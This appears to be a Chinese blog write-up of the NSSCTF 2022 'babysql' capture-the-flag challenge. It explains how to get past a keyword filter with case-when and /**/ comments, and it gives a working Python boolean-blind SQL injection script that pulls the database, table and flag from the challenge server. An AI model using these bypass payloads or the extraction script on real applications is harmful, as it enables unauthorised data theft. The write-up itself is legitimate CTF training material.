【NSSCTF 2022 Spring Recruit】babysql

参考其他师傅的文章

发现只有输入tarnish1、2、3时才会有回显

然后尝试闭合,在fuuz过程中发现了回显,显示了过滤项

hacker!!black_list is /if|and|\s|#|--/i

if可以使用case when来替代

空格可以使用/**/替代

且发现是使用的’来闭合,所以可以在后面接上’2’='1来闭合引号

当使用时可以发现回显中带'flag',使用这个特征来bool盲注tarnishaaa'/**/or/**/'1'='1

在读flag的时候有个问题,就是flag前面有很多不可见字符,要使用mid()来截取

mid截取的长度可以使用通配符来看这个数据有多长,从而选择截取长度_

exp (英文)

import requests
from string import *

url="http://1.14.71.254:28363/"
# payload1="xxx'/**/or/**/case/**/when(show/**/databases/**/like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"
#database=test
# payload2="xxx'/**/or/**/case/**/when((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"
#table=flag
# payload3="xxx'/**/or/**/case/**/when((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='test')like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"
#column=flag
payload="xxx'/**/or/**/case/**/when((select/**/mid(group_concat(flag),20)/**/from/**/flag)like/**/binary/**/{}25)then(1)else/**/0/**/end/**/or/**/'2'='1"

str=digits+ascii_letters+"{}!@#$^&*()-=<>"

str3='_'#用看数据长度

def str2hex(str):
    hex1='0x'
    for i in str:
        hex1+=hex(ord(i))[2:]
    return hex1
result=''

while True:
    for s in str:
        tmp=result+s
        hex2=str2hex(tmp)
        data = {"username": payload.format(hex2)}
        res=requests.post(url=url,data=data)
        # print(res.text)
        if "flag" in res.text:
            result+=s
            print(result)
            break

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值